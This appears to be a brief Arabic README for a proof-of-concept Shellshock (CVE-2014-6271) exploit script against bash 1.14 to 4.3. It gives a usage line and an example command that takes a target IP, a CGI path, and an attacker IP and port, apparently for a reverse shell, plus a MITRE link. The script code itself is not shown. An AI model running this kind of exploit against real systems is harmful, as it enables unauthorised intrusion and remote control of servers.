
إثبات مفهوم لاستغلال ثغرة Shellshock (CVE-2014-6271).
يستغل هذا الإكسبلويت ثغرة Shellshock (CVE-2014-6271) الموجودة في bash من الإصدار 1.14 حتى 4.3.
python3 ./exploit.py -t <target-ip:str> -u <uri:str> -a <attacker-ip:str> -p <port:int>
مثال:
python3 ./exploit.py -t 10.10.10.15 -u /cgi-bin/vulnerable -a 10.10.10.7 -p 4443
مزيد من المعلومات حول الثغرة:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-6271